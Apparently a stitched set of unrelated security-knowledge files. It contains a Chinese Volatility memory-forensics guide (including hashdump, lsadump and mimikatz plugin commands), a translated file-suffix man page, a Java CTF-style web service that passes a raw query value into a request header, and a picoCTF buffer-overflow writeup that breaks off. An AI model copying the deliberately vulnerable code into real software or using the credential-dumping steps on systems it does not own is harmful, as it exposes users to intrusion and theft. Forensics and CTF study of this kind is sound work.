[image] --profile=[profile] procdump -p [pid] --dump-dir ./ ``` --- ### 网络 **查看系统开放端口以及连接情况** ```bash volatility -f [image] --profile=[profile] netscan ``` --- ### 注册表信息 **打印注册表项及其子项和对应的值** ```bash volatility -f [image] --profile=[profile] printkey -K "SAM\Domains\Account\Users\Names" ``` **列出注册表配置文件中的注册表信息** ```bash volatility -f [image] --profile=[profile] hivelist ``` **打印内存中指定的注册表信息** ```bash volatility -f [image] --profile=[profile] hivedump -o 0xfffff8a000bff010 # -o 跟虚拟地址 ``` --- ## 扩展 **扩展插件** - [aim4r/VolDiff](https://github.com/aim4r/VolDiff) - 利用 Volatility 框架来识别 Windows 7 内存中恶意软件威胁的 Python 脚本 - [JamesHabben/evolve](https://github.com/JamesHabben/evolve) - Web 界面版的 Volatility - [kevthehermit/VolUtility](https://github.com/kevthehermit/VolUtility) - Web 界面版的 Volatility - [andreafortuna/autotimeliner](https://github.com/andreafortuna/autotimeliner) - 自动从 memory dump 中提取取证时间线 - [superponible/volatility-plugins](https://github.com/superponible/volatility-plugins) **官方仓库** - [volatilityfoundation/community](https://github.com/volatilityfoundation/community) - Volatility plugins developed and maintained by the community - [volatilityfoundation/community3](https://github.com/volatilityfoundation/community3) - Volatility3 plugins developed and maintained by the community **mimikatz** - https://github.com/RealityNet/hotoloti/blob/master/volatility/mimikatz.py ``` python2 -m pip install construct cp mimikatz.py /volatility/plugins/ python vol.py -f tmp.vmem --profile=Win7SP1x64 mimikatz ``` --- ## Linux Profile Volatility 对 Linux 进行分析需要指定系统的 Profile **开源的 profile 在线搜索列表** - https://isf-server.techanarchy.net/ **使用第三方 Profile** 在 https://github.com/KDPryor/LinuxVolProfiles 处直接下载已经做好的 profile 文件(zip 文件)然后复制到目录后解压缩即可。 ```bash git clone https://github.com/KDPryor/LinuxVolProfiles.git cd LinuxVolProfiles mv Ubuntu-3.8.0-19.zip /volatility/volatility/plugins/overlays/linux/ cd /volatility/volatility/plugins/overlays/linux unzip Ubuntu-3.8.0-19.zip ``` **制作 Profile** Volatility 自带一些 windows 系统的 profile,Linux 系统的 Profile 需要自己制作,制作的方法如下:实际是将 module.dwarf 和 system.map 打包成一个 zip 文件,接着将 zip 文件移动到 volatility/plugins/overlays/linux/ 目录中。 这里以 centos7 为例,先安装 dwarfdump(必须安装,创建 module.dwarf 文件的依赖) ```bash yum install -y gcc make gcc-c++ yum install -y elfutils-devel yum install -y kernel-devel wget https://www.prevanders.net/libdwarf-20201201.tar.gz tar -zxvf libdwarf-20201201.tar.gz cd libdwarf-20201201 ./configure make make install cd ../ ``` 在 volatility 目录中的 tool/Linux 运行 make 命令来创建 module.dwarf 文件 ```bash git clone https://github.com/volatilityfoundation/volatility.git cd volatility/tools/linux make ls -l ``` 打包,将 centos7.zip 移至分析机的 volatility/plugins/overlays/linux/ 目录中 ```bash zip centos7.zip /boot/System.map* module.dwarf ``` 在分析机上将 centos7.zip 至 volatility/plugins/overlays/linux/ 目录中 ``` mv centos7.zip /pentest/volatility/plugins/overlays/linux/ python vol.py --info | grep "centos7" ``` **实战 linux 分析** > 住:这里 LiME 导出的无法成功解析,不知道原因 直接复制 centos7 的内存文件,放到分析机上,查看进程树列表 ```bash python vol.py -f tmp.vmem --profile=Linuxcentos7x64 linux_pstree ``` 显示网络接口详细情况 ```bash python vol.py -f tmp.vmem --profile=Linuxcentos7x64 linux_pstree ``` 查看某具体进程的情况 ```bash python vol.py -f tmp.vmem --profile=Linuxcentos7x64 linux_proc_maps ``` --- ## volatility3 Volatility3 是对 Volatility2 的重写,它基于 Python3 编写,对 Windows 10 的内存取证很友好,且速度比 Volatility2 快很多。对于用户而言,新功能的重点包括:大幅提升性能,消除了对 --profile 的依赖,以便框架确定需要哪个符号表(配置文件)来匹配内存示例中的操作系统版本,在 64 位系统(例如 Window 的 wow64)上正确评估 32 位代码,自动评估内存中的代码,以避免对分析人员进行尽可能多的手动逆向工程。对于开发人员:更加轻松地集成到用户的第三方接口和库中,广泛的 API 文档,插件可以直接调用其他插件的能力,插件版本控,直接集成自定义符号表和数据结构。 **利用 f8x 进行安装** ``` wget -O f8x https://f8x.io/ bash f8x -vol3 ``` **安装** ```bash git clone https://github.com/volatilityfoundation/volatility3.git cd volatility3 python3 setup.py build python3 setup.py install python3 vol.py -h ``` **符号表集** ``` cd /tmp wget downloads.volatilityfoundation.org/volatility3/symbols/windows.zip wget downloads.volatilityfoundation.org/volatility3/symbols/mac.zip wget downloads.volatilityfoundation.org/volatility3/symbols/linux.zip mkdir -p /pentest/volatility3/symbols mv /tmp/windows.zip /pentest/volatility3/symbols mv /tmp/mac.zip /pentest/volatility3/symbols mv /tmp/linux.zip /pentest/volatility3/symbols ``` **常用插件** ``` banners.Banners Attempts to identify potential linux banners in an image configwriter.ConfigWriter Runs the automagics and both prints and outputs configuration in the output directory. frameworkinfo.FrameworkInfo Plugin to list the various modular components of Volatility isfinfo.IsfInfo Determines information about the currently available ISF files, or a specific one layerwriter.LayerWriter Runs the automagics and writes out the primary layer produced by the stacker. linux.bash.Bash Recovers bash command history from memory. linux.check_afinfo.Check_afinfo Verifies the operation function pointers of network protocols. linux.check_creds.Check_creds Checks if any processes are sharing credential structures linux.check_idt.Check_idt Checks if the IDT has been altered linux.check_modules.Check_modules Compares module list to sysfs info, if available linux.check_syscall.Check_syscall Check system call table for hooks. linux.elfs.Elfs Lists all memory mapped ELF files for all processes. linux.keyboard_notifiers.Keyboard_notifiers Parses the keyboard notifier call chain linux.lsmod.Lsmod Lists loaded kernel modules. linux.lsof.Lsof Lists all memory maps for all processes. linux.malfind.Malfind Lists process memory ranges that potentially contain injected code. linux.proc.Maps Lists all memory maps for all processes. linux.pslist.PsList Lists the processes present in a particular linux memory image. linux.pstree.PsTree Plugin for listing processes in a tree based on their parent process ID. linux.tty_check.tty_check Checks tty devices for hooks mac.bash.Bash Recovers bash command history from memory. mac.check_syscall.Check_syscall Check system call table for hooks. mac.check_sysctl.Check_sysctl Check sysctl handlers for hooks. mac.check_trap_table.Check_trap_table Check mach trap table for hooks. mac.ifconfig.Ifconfig Lists loaded kernel modules mac.kauth_listeners.Kauth_listeners Lists kauth listeners and their status mac.kauth_scopes.Kauth_scopes Lists kauth scopes and their status mac.kevents.Kevents Lists event handlers registered by processes mac.list_files.List_Files Lists all open file descriptors for all processes. mac.lsmod.Lsmod Lists loaded kernel modules. mac.lsof.Lsof Lists all open file descriptors for all processes. mac.malfind.Malfind Lists process memory ranges that potentially contain injected code. mac.mount.Mount A module containing a collection of plugins that produce data typically foundin Mac's mount command mac.netstat.Netstat Lists all network connections for all processes. mac.proc_maps.Maps Lists process memory ranges that potentially contain injected code. mac.psaux.Psaux Recovers program command line arguments. mac.pslist.PsList Lists the processes present in a particular mac memory image. mac.pstree.PsTree Plugin for listing processes in a tree based on their parent process ID. mac.socket_filters.Socket_filters Enumerates kernel socket filters. mac.timers.Timers Check for malicious kernel timers. mac.trustedbsd.Trustedbsd Checks for malicious trustedbsd modules mac.vfsevents.VFSevents Lists processes that are filtering file system events timeliner.Timeliner Runs all relevant plugins that provide time related information and orders the results by time. windows.bigpools.BigPools List big page pools. windows.cachedump.Cachedump Dumps lsa secrets from memory windows.callbacks.Callbacks Lists kernel callbacks and notification routines. windows.cmdline.CmdLine Lists process command line arguments. windows.dlllist.DllList Lists the loaded modules in a particular windows memory image. windows.driverirp.DriverIrp List IRPs for drivers in a particular windows memory image. windows.driverscan.DriverScan Scans for drivers present in a particular windows memory image. windows.dumpfiles.DumpFiles Dumps cached file contents from Windows memory samples. windows.envars.Envars Display process environment variables windows.filescan.FileScan Scans for file objects present in a particular windows memory image. windows.getservicesids.GetServiceSIDs Lists process token sids. windows.getsids.GetSIDs Print the SIDs owning each process windows.handles.Handles Lists process open handles. windows.hashdump.Hashdump Dumps user hashes from memory windows.info.Info Show OS & kernel details of the memory sample being analyzed. windows.lsadump.Lsadump Dumps lsa secrets from memory windows.malfind.Malfind Lists process memory ranges that potentially contain injected code. windows.memmap.Memmap Prints the memory map windows.modscan.ModScan Scans for modules present in a particular windows memory image. windows.modules.Modules Lists the loaded kernel modules. windows.mutantscan.MutantScan Scans for mutexes present in a particular windows memory image. windows.netscan.NetScan Scans for network objects present in a particular windows memory image. windows.netstat.NetStat Traverses network tracking structures present in a particular windows memory image. windows.poolscanner.PoolScanner A generic pool scanner plugin. windows.privileges.Privs Lists process token privileges windows.pslist.PsList Lists the processes present in a particular windows memory image. windows.psscan.PsScan Scans for processes present in a particular windows memory image. windows.pstree.PsTree Plugin for listing processes in a tree based on their parent process ID. windows.registry.certificates.Certificates Lists the certificates in the registry's Certificate Store. windows.registry.hivelist.HiveList Lists the registry hives present in a particular memory image. windows.registry.hivescan.HiveScan Scans for registry hives present in a particular windows memory image. windows.registry.printkey.PrintKey Lists the registry keys under a hive or specific key value. windows.registry.userassist.UserAssist Print userassist registry keys and information. windows.ssdt.SSDT Lists the system call table. windows.statistics.Statistics windows.strings.Strings Reads output from the strings command and indicates which process(es) each string belongs to. windows.svcscan.SvcScan Scans for windows services. windows.symlinkscan.SymlinkScan Scans for links present in a particular windows memory image. windows.vadinfo.VadInfo Lists process memory ranges. windows.vadyarascan.VadYaraScan Scans all the Virtual Address Descriptor memory maps using yara. windows.verinfo.VerInfo Lists version information from PE files. windows.virtmap.VirtMap Lists virtual mapped sections. yarascan.YaraScan Scans kernel memory using yara rules (string or file). ``` ### 使用 > volatility3 运行时需要下载 PDB 符号表,国内机器需要挂代理 #### 信息 **layerwriter** ``` python3 vol.py -f [image] layerwriter ``` **windows.info** ``` python3 vol.py -f [image] windows.info ``` **windows.pslist** ``` python3 vol.py -f [image] windows.pslist ``` **windows.hashdump** ``` python3 vol.py -f [image] windows.hashdump ``` **windows.filescan** ``` python3 vol.py -f [image] windows.filescan ``` ### Symbol Tables 所有文件都以 JSON 数据的形式存储,它们可以是. json 的纯 JSON 文件,也可以是. json.gz 或. json.xz 的压缩文件。Volatility 会在使用时自动解压它们。使用时也会将它们的内容(压缩后)缓存起来,位于用户主目录下的. cache/volatility3 中,以及其他有用的数据。缓存目录目前无法更改。 符号表 JSON 文件默认位于 volatility/symbols 下,在操作系统目录下(目前是 windows、mac 或 linux 中的一种)。符号目录是可以在框架内配置的,通常可以在用户界面上设置。 这些文件也可以被压缩成 ZIP 文件,Volatility 将处理 ZIP 文件以定位符号文件。ZIP 文件必须以相应的操作系统命名(如 linux.zip、mac.zip 或 windows.zip)。在 ZIP 文件中,目录结构应与未压缩的操作系统目录一致。 - Windows 符号表 对于 Windows 系统,Volatility 接受由 GUID 和所需 PDB 文件的 Age 组成的字符串。然后,它在 Windows 子目录下的已配置符号目录下搜索所有文件。与文件名模式 <pdb-name>/<GUID>-<AGE>.json(或任何压缩变体)匹配的任何文件都会被使用。如果找不到这样的符号表,则将从 Microsoft 的 Symbol Server 下载关联的 PDB 文件,并将其转换为适当的 JSON 格式,并将其保存在正确的位置。 Windows 符号表可以从适当的 PDB 文件手动构建。用于执行此操作的主要工具内置于 Volatility 3 中,称为 pdbconv.py。 - Mac / Linux 符号表 对于 Mac / Linux 系统,两者都使用相同的识别机制。JSON 文件位于符号目录下的 linux 或 mac 目录下。生成的文件包含一个标识字符串(操作系统横幅),Volatility 的 automagic 可以检测到该字符串。易失性会缓存字符串和它们来自的符号表之间的映射,这意味着精确的文件名无关紧要,并且可以在操作系统目录下的任何必要层次结构下进行组织。 可以使用称为 dwarf2json 的工具从 DWARF 文件生成 Linux 和 Mac 符号表。当前,带有调试符号的内核是恢复大多数 Volatility 插件所需的所有信息的唯一合适方法。找到具有调试符号 / 适当的 DWARF 文件的内核之后,dwarf2json 会将其转换为适当的 JSON 文件。 **相关工具** - [volatilityfoundation/dwarf2json](https://github.com/volatilityfoundation/dwarf2json) **MacOS Processing** ``` ./dwarf2json mac --macho /path/kernel.dSYM/Contents/Resources/DWARF/kernel \ --macho-symbols /path/kernel > output.json ``` **Linux Processing** ``` ./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-4.4.0-137-generic > output.json ``` - **安装 vmlinux** 这里我以 ubuntu18.04 为例,系统默认有 vmlinuz,但 vmlinux 与 vmlinuz 不同,需要手动安装 vmlinux ```bash # 添加ddebs存储库 echo "deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse deb http://ddebs.ubuntu.com $(lsb_release -cs)-security main restricted universe multiverse deb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" | \ sudo tee -a /etc/apt/sources.list.d/ddebs.list sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 428D7C01 ``` ```bash # 安装 kernel debug symbols sudo apt-get update sudo apt-get install linux-image-$(uname -r)-dbgsym ``` 在 centos 中是 ```bash sudo debuginfo-install kernel ``` #### 以 ubuntu18.04 为例 ```bash chmod +x dwarf2json ./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.0.0-23-generic > Ubuntu1804.json # 这里有个小坑,内存尽量大于8G,不然会报错 ``` ``` mv Ubuntu1804.json /pentest/volatility3/volatility3/framework/symbols/linux cd /pentest/volatility3 python3 vol.py -vvvv isfinfo python3 vol.py -vvvv -s volatility3/framework/symbols/linux/ isfinfo python3 vol.py isfinfo --isf /pentest/volatility3/volatility3/framework/symbols/linux/Ubuntu1804.json ``` ``` python3 vol.py -vvvv -f cyq.vmem banners ``` 即使输出与 banner 匹配, 实际运行依旧失败, 此 issues https://github.com/volatilityfoundation/volatility3/issues/413 具有同样问题, 等待软件后续更新解决把 ``` python3 vol.py -vvvv -f cyq.vmem linux.bash.Bash python3 vol.py -vvvv -c /pentest/volatility3/volatility3/framework/symbols/linux/Ubuntu1804.json -f cyq.vmem linux.bash.Bash python3 vol.py -vvvv -s volatility3/framework/symbols/linux/ -f cyq.vmem linux.bash.Bash ``` #### 以 CentOS7 为例 - 所使用的工具: - f8x - Lime - Vmware Workstation - volatility3 **配置 centos7 系统并导出内存文件** ``` 内存:8G CPU:2核 硬盘:40G ``` **在 centos 虚机中安装 lime 工具** - https://github.com/504ensicsLabs/LiME 安装步骤比较简单,但是有几个坑点。 ```bash git clone https://github.com/504ensicsLabs/LiME.git cd Lime/src make ``` make 的时候可能会出现出现一点问题。 这个原因就是系统自身的内核版本和 kernel-devel 安装的内核不匹配,我这台安装的内核为 `3.10.0-1160.15.2.el7.x86_64`,但是使用 `uname -r` 查到的内核版本为 `3.10.0-957.el7.x86_64`,所以使用 `yum upgrade` 升级内核并重启即可解决。 重新编译会生成一个名字和内核版本相同的. ko 文件。 接下来使用 lime 工具导出内存文件. ```bash insmod ./lime-3.10.0-1160.15.2.el7.x86_64.ko "path=/root/centos.lime format=lime" ``` “./” 后面输入刚刚生成的 `.ko` 文件 可以看到文件大小非常接近于8G。 **制作 centos 符号表文件** 制作 centos 的符号表文件需要用到一个使用 GO 语言编写的程序 - https://github.com/volatilityfoundation/dwarf2json 根据项目说明,可以采用四种方式来生成符号表(json文件)。 这里我们就选用第一种。然而,使用第一种的话需要 vmlinux 文件,而这 centos 中原本是没有的,所以需要安装。 ```bash sudo debuginfo-install kernel ``` 在安装完成之后可以查找 vmlinux 文件 然后使用 dwarf2json 工具即可导出符号表文件。 **kali 分析机 vol3 安装以及使用** 打开 kail,使用 f8x 一键安装 volatility3。 - https://github.com/ffffffff0x/f8x 安装完毕后,在 `/pentest/volatility3` 可以找到它。 在 `/pentest/volatility3/volatility3/symbols` 中创建名为 “linux” 的文件夹,并把符号表放在里面。 把之前导出的 centos.lime 的内存文件也放入 kali 中。 **使用 volatility 分析** ```bash python3 vol.py -f centos.lime linux.bash ``` 可以看到我在 centos 中所输入的历史命令 linux.check_idt.Check_idt linux.check_syscall.Check_syscall linux.elfs.Elfs linux.lsmod.Lsmod linux.lsof.Lsof linux.malfind.Malfind linux.proc.Maps linux.pslist.PsList linux.pstree.PsTree linux.tty_check.tty_check
sec-knowleage
.\" t .\" (c) 1993 by Thomas Koenig (ig25@rz.uni-karlsruhe.de) .\" .\" Permission is granted to make and distribute verbatim copies of this .\" manual provided the copyright notice and this permission notice are .\" preserved on all copies. .\" .\" Permission is granted to copy and distribute modified versions of this .\" manual under the conditions for verbatim copying, provided that the .\" entire resulting derived work is distributed under the terms of a .\" permission notice identical to this one .\" .\" Since the Linux kernel and libraries are constantly changing, this .\" manual page may be incorrect or out-of-date. The author(s) assume no .\" responsibility for errors or omissions, or for damages resulting from .\" the use of the information contained herein. The author(s) may not .\" have taken the same level of care in the production of this manual, .\" which is licensed free of charge, as they might when working .\" professionally. .\" .\" Formatted or processed versions of this manual, if unaccompanied by .\" the source, must acknowledge the copyright and authors of this work. .\" License. .\" .\" Modified Sat Jul 24 17:35:15 1993 by Rik Faith .\" Modified Sun Feb 19 22:02:32 1995 by Rik Faith .\" Modified Tue Oct 22 23:28:12 1996 by Eric S. Raymond .\" Modified Sun Jan 26 21:56:56 1997 by Ralph Schleicher .\" .\" Modified Mon Jun 16 20:24:58 1997 by Nicol醩 Lichtmaier .\" Modified Sun Oct 18 22:11:28 1998 by Joseph S. Myers .\" Modified Mon Nov 16 17:24:47 1998 by Andries Brouwer .\" .\" 中文版版权所有 redcandle, Laser www.linuxforum.net 2000 .TH SUFFIXES 7 "April 4, 1996" "Linux" "Linux 程序员手册" .SH NAME suffixes \- 列出文件后缀。 .SH DESCRIPTION [描述] 文件后缀与文件名之间以点(.)间隔,通常包括一个或多个字母。 我们用文件后缀来描述文件的内容。很多标准的实用程序,如编译器, 以后缀来识别文件类型。 .BR make (1) 就是基于文件后缀的。 .PP 下面是 Linux 下常见的文件后缀: .nf 后缀 文件类型 ,v RCS(Revision Control System(修改控制系统)) 文件 - 备份文件。 .C C++ 源代码文件。 .F 带 \fBcpp\fP(1) 的 Fortran 源代码或用 freeze 压缩的文件。 .S 汇编源代码。 .Y 用 yabba 压缩的文件。 .Z 用 \fB compress\fR (1) 压缩的文件。 .[0-9]+gf TeX 普通字体文件 .[0-9]+pk TeX 打包字体文件 .[1-9] 相关章节的手册页 .[1-9][a-z] 包含子章节的手册页 .a 静态对象代码库 .ad X 应用程序缺省资源文件。 .adb Ada 体源文件(校注:懂 Ada 的同志请指正) .ads Ada 描述源文件 .afm PostScript 字体度量 .al Perl 自动加载文件 .am \fBautomake\fR (1) 输入文件 .arc \fBarc\fR (1) 档案文件 .arj \fBarj\fR (1) 档案文件 .asc PGP ASCII-保护数据 .asm (GNU) 汇编源代码 .au Audio 声音文件 .aux LaTeX 辅助文件 .avi (msvideo) 电影 .awk AWK 程序 .b LILO 启动加载器镜象 .bak 备份文件 .bash \fBbash\fR (1) 脚本 .bb gcc -ftest-coverage 生成的基础块列表数据 .bbg gcc -ftest-coverage 生成的基础块图形数据 .bbl BibTeX 输出文件 .bdf X 字体文件 .bib TeX 数目数据库,BibTeX 输入文件 .bm bitmap 源文件 .bmp bitmap 位图 .bz2 \fB bzip2\fR (1)的压缩文件 .c C 源代码 .cat 信息目录文件 .cc C++ 源代码 .cf 配置文件 .cfg 同上 .cgi 可以产生 web 页的脚本或程序 .class Java 已编译文件 .conf 配置文件 .config 同上 .cpp \fI(等价于 .cc) \fR .csh \fBcsh\fR (1) 脚本 .cxx \fI(等价于 .cc) \fR .dat 数据文件 .deb Debian 软件包 .def Modula-2 语言的定义模块的源代码 .def 其它定义文件 .desc 用 munpack 解压的邮件信息的初始化部分 .diff 文件不同之处 (diff(1) 的输出文件) .dir dbm 数据库目录文件 .doc 文档文件 .dtx LaTeX 包的源文件 .dvi TeX's 设备无关的输出文件 .el Emacs-Lisp 源代码 .elc 编译后的 Emacs-Lisp 文件 .eps 压缩过的 PostScript .f Fortran 源代码 .f77 Fortran 77 源代码 .f90 Fortran 90 源代码 .fas 预编译的 Common-Lisp .fi Fortran 包含文件 .fig FIG 图象文件 (\fB xfig\fR (1)调用) .fmt TeX 格式文件 .gif Compuserve Graphics Image File format(图象文件) .gmo GNU 格式信息目录 .gsf Ghostscript 字体 .gz 用 \fB gzip\fR (1) 压缩的文件 .h C 或 C++ 头文件 .help 帮助文件 \fR .hf 等价于 \fI .help\fR .hlp 等价于 \fI .help\fR .htm 穷人的(有些系统扩展名只能三个字符)\fI .html\fR .html WWW 中使用的 HTML 文档 .hqx 7-位编码的 Macintosh 文件 .i 预处理过的 C 程序 .icon 位图源文件 .idx 超文本或数据库系统用的参考书目或数据索引 .image 位图源文件 .in 配置摸板,常用于 GNU Autoconf .info Emacs info 浏览器文件 .info-[0-9]+ info 文件 .ins LaTeX 打包的用于 docstrip 的安装文件 .java Java 源代码 .jpeg Joint Photographic Experts Group format .jpg 有些系统扩展名只能三个字符\fI .jpeg \fR .kmap \fBlyx\fR (1) 键盘布局 .l 等价于 \fI .lex\fR 或 \fI .lisp\fR .lex \fBlex\fR (1) 或 \fB flex\fR (1) 文件 .lha lharc 档案文件 .lib Common-Lisp 库文件 .lisp Lisp 源代码 .ln files for use with \fB lint\fR (1) .log 日志文件, 多见于 TeX .lsm Linux Software Map entry(软件列表?) .lsp Common-Lisp 源代码 .lzh lharc 档案文件 .m4 \fBm4\fR (1) 源代码 .mac 宏命令文件 .man 手册页 (通常是源文件,有些是格式化过的) .map map 文件 .me 使用 me 宏命令包的 Nroff 源文件 .mf Metafont (Tex 使用的字体) 资源 .mm \fBgroff\fR (1) 的 mm 格式的文件 .mo 信息目录二进制文件(校注:本地化文件) .mod Modula-2 执行模块源代码 .mov (quicktime) 电影 .mp Metapost 资源 .mpe 电影 .o 对象文件 .old 旧的或备份文件 .orig \fBpatch\fR (1) 产生的备份或原始文件 .out 输出文件, 一般是可执行程序(a.out) .p Pascal 源代码 .pag dbm 数据库数据文件 .patch \fBpatch\fR (1) 用的文件的差别文件 .pbm portable bitmap format(可移植位图格式) .pcf X11 字体 .pdf AdobePortableDataFormat(用Acrobat/\fBacroread\fR或\fBxpdf\fR查看 ) .perl Perl 源代码 .pfa PostScript 字体定义文件, ASCII 格式 .pfb PostScript 字体定义文件, 二进制格式 .pgm portable greymap format(可移植灰度图格式) .pgp PGP 二进制数据 .ph Perl 头文件 .pid 存储后台程序信息的文件(e.g. crond.pid) .pl TeX 属性列表 或 Perl 库文件 .pm Perl 模块 .png Portable Network Graphics file(可移植网络图象文件) .po 信息目录资源(校注:本地化资源文件) .pod \fBperldoc\fR (1) 文件 .ppm portable pixmap format(可移植点图格式) .pr bitmap source(位图资源) .ps PostScript 文件 .py Python 源代码 .pyc python 编译后文件 .qt quicktime movie(电影) .r RATFOR 资源 (已过时) .rej \fBpatch\fR (1) 不能用的补丁 .rpm RedHat 软件包 .rtf Rich Text Format file(富文本文件) .rules rules for something(规则文件) .s assembler source(汇编源代码) .sa a.out 共享库的存根库 .sc \fB sc\fR (1) 电子表格命令 .sgml SGML 源文件 .sh \fBsh\fR (1) 脚本 .shar \fBshar\fR (1) 产生的档案文件 .so 共享库或动态可载入对象 .sql SQL 资源 .sqml SQML 结构或查询程序 .sty LaTeX 类型文件 .sym Modula-2 已编译的定义模块 .tar \fBtar\fR (1) 产生的档案文件 .tar.Z \fBcompress\fR (1) 压缩的tar档案文件 .tar.bz2 \fBbzip2\fR (1) 压缩的tar档案文件 .tar.gz \fBgzip\fR (1) 压缩的tar档案文件 .taz \fBcompress\fR (1) 压缩的tar档案文件 .tex TeX 或 LaTeX 资源 .texi 等价于 \fI .texinfo\fR .texinfo Texinfo 文档资源 .text 文本文件 .tfm TeX font metric file .tgz \fBgzip\fR (1) 压缩的tar档案文件 .tif poor man's \fI .tiff(图象) \fR .tiff Tagged Image File Format(图象) .tk tcl/tk 脚本 .tmp 临时文件 .tmpl 临时文件 .txt 等价于 \fI .text\fR .uu 等价于 \fI .uue\fR .uue \fBuuencode\fR (1) 编码的二进制文件 .vf TeX 虚拟字体文件 .vpl TeX 虚拟属性列表 .w Silvio Levi's CWEB .wav 波形声音文件 .web Donald Knuth's WEB(唐纳得.可鲁梭的 WEB) ?? .xbm X11 位图源文件 .xml eXtended Markup Language file(扩展标记语言文件) .xsl XSL stylesheet .xpm X11 点图源文件 .xs h2xs 生成的 Perl 的 xsub 文件 .y \fByacc\fR (1) 或 \fB bison\fR (1)(分析器生成器)文件 .z \fBpack\fR (1) (或旧版 \fB gzip\fR (1)) 产生的压缩文件 .zip \fBzip\fR (1) 档案文件 .zoo \fBzoo\fR (1) 档案文件 ~ Emacs 或 \fB patch\fR (1) 备份文件 rc 开始 (`运行控制') 文件, 如. \fI .newsrc\fR .fi .SH "CONFORMS TO [遵循]" 一般 UNIX 约定 .SH BUGS 本列表尚有遗漏 \fR .SH "SEE ALSO [另见]" .BR file (1), .BR make (1) .SH "[中文版维护人]" .B RedCandle <redcandle51@chinaren.com> .SH "[中文版最新更新]" .B 2000/11/10 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
import java.io.*; import java.net.URLEncoder; import java.nio.file.Files; import java.net.InetSocketAddress; import java.net.URI; import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpServer; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.client.ClientProtocolException; import org.apache.http.client.ResponseHandler; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.apache.http.util.EntityUtils; import com.google.gson.Gson; public class Frontend { private static Gson gson = new Gson(); public static void main(String[] args) throws IOException { HttpServer server = HttpServer.create(new InetSocketAddress(8080), 0); server.createContext("/", new IndexHandler()); server.createContext("/cats", new CatsHandler()); server.createContext("/static", new StaticHandler()); server.setExecutor(null); server.start(); } static class CatsHandler implements HttpHandler { private class Req { public String[] names; } @Override public void handle(HttpExchange t) throws IOException { try { String body = getBody(t); Req req = gson.fromJson(body, Req.class); if (req.names.length > 5) { t.sendResponseHeaders(400, 0); return; } String traceId = getTraceId(t); String[] cats = getCats(req.names, traceId); String response = gson.toJson(cats); t.getResponseHeaders().set("Content-Type", "application/json"); t.sendResponseHeaders(200, response.length()); OutputStream os = t.getResponseBody(); os.write(response.getBytes()); os.close(); } catch (Exception e) { System.out.println(e); t.sendResponseHeaders(500, 0); } finally { t.close(); } } private String getBody(HttpExchange t) throws IOException { StringBuilder sb = new StringBuilder(); InputStream ios = t.getRequestBody(); int i; while ((i = ios.read()) != -1) { sb.append((char) i); } return sb.toString(); } private String getTraceId(HttpExchange t) { String query = t.getRequestURI().getQuery(); return query.replaceFirst("^traceId=", ""); } private String[] getCats(String[] names, String trace) throws Exception { CloseableHttpClient httpclient = HttpClients.createDefault(); ResponseHandler<String> responseHandler = new ResponseHandler<String>() { @Override public String handleResponse(final HttpResponse response) throws IOException { return EntityUtils.toString(response.getEntity()); } }; try { String[] cats = new String[names.length]; for (int i = 0; i < names.length; i++) { String name = names[i].trim(); URI url = new URI("http://localhost:8085/cat/" + URLEncoder.encode(name, "UTF-8")); HttpGet httpget = new HttpGet(url); httpget.setHeader("X-Trace", trace); String response = httpclient.execute(httpget, responseHandler); cats[i] = response; } return cats; } finally { httpclient.close(); } } } static class IndexHandler implements HttpHandler { @Override public void handle(HttpExchange t) throws IOException { try { File file = new File("index.html"); t.getResponseHeaders().set("Content-Type", "text/html"); t.sendResponseHeaders(200, file.length()); OutputStream os = t.getResponseBody(); Files.copy(file.toPath(), os); os.close(); } catch (Exception e) { System.out.println(e); t.sendResponseHeaders(500, 0); } finally { t.close(); } } } static class StaticHandler implements HttpHandler { @Override public void handle(HttpExchange t) throws IOException { try { Integer catNumber = getCatNumber(t); String filePath = "static/" + catNumber.toString() + ".jpg"; File file = new File(filePath); t.getResponseHeaders().set("Content-Type", "image/jpeg"); t.sendResponseHeaders(200, file.length()); OutputStream os = t.getResponseBody(); Files.copy(file.toPath(), os); os.close(); } catch (Exception e) { System.out.println(e); t.sendResponseHeaders(500, 0); } finally { t.close(); } } private Integer getCatNumber(HttpExchange t) throws Exception { String path = t.getRequestURI().getPath(); Integer n = Integer.valueOf(path.replaceFirst("^/static/", "")); if (n < 0 || n > 8) { throw new Exception("out of catnip"); } return n; } } }
sec-knowleage
# Writeup TUM CTF 2016 Team: psrok1, c7f.m0d3, cr019283, ppr, nazywam, msm, akrasuski1, shalom ![](./score.png) ### Table of contents * [Haggis (Crypto 100 +3)](haggis_crypto_100) * [hiecss (Crypto 150 +22)](hiecss_crypto_150) * [The joy of painting (Stegano 50 +2)](joy_stegano_50) * [c0py pr073c710n (Pwn 200 +11)](c0py_pr073c710n_pwn_200)
sec-knowleage
# OverFlow 0 Binary Exploitation, 100 points ## Description: > This should be easy. Overflow the correct buffer in this program and get a flag. ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1); } void vuln(char *input){ char buf[128]; strcpy(buf, input); } int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag,FLAGSIZE_MAX,f); signal(SIGSEGV, sigsegv_handler); gid_t gid = getegid(); setresgid(gid, gid, gid); if (argc > 1) { vuln(argv[1]); printf("You entered: %s", argv[1]); } else printf("Please enter an argument next time\n"); return 0; } ``` ## Solution: This challenge is similar to last year's [buffer overflow 0](/2018_picoCTF/buffer%20overflow%200.md). If we pass an argument longer than 128 bytes, we will overflow the local buffer in `vuln`. If the argument is long enough, we will cause a segmentation fault and trigger the `sigsegv_handler`, printing the flag. ```python # First, generate a pwntools template using: # pwn template --host 2019shell1.picoctf.com --user dvdalt --path 